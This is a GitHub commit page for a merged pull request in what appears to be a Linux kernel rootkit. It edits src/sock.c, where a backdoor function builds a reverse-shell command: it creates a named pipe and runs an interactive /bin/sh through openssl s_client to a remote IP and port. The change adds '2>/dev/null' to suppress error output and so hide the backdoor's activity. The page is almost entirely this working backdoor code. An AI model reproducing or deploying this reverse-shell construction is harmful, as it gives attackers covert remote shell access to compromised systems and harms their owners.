Skip to content

Commit

Permalink
Merge pull request #73 from iusearch/patch-1
Browse files Browse the repository at this point in the history
Fix openssl backdoor issue
  • Loading branch information
carloslack authored Oct 8, 2023
2 parents 6d6729b + 05bdee3 commit 3b685c5
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions src/sock.c
Original file line number Diff line number Diff line change
Expand Up @@ -197,10 +197,10 @@ static char *_build_bd_command(const char *exe, uint16_t dst_port,

snprintf(ip, INET_ADDRSTRLEN, "%pI4", &saddr);
snprintf(ip, INET_ADDRSTRLEN, "%pI4", &saddr);
len = snprintf(NULL, 0, "/usr/bin/mkfifo %s; /bin/sh -i < %s 2>&1 | %s s_client -quiet -connect %s:%u > %s",
len = snprintf(NULL, 0, "/usr/bin/mkfifo %s; /bin/sh -i < %s 2>&1 | %s s_client -quiet -connect %s:%u > %s 2>/dev/null",
ssl, ssl, exe, ip, src_port, ssl);
if (len && (bd = kcalloc(1, ++len, GFP_KERNEL)))
snprintf(bd, len, "/usr/bin/mkfifo %s; /bin/sh -i < %s 2>&1 | %s s_client -quiet -connect %s:%u > %s",
snprintf(bd, len, "/usr/bin/mkfifo %s; /bin/sh -i < %s 2>&1 | %s s_client -quiet -connect %s:%u > %s 2>/dev/null",
ssl, ssl, exe, ip, src_port, ssl);
}
}
Expand Down

0 comments on commit 3b685c5

Please sign in to comment.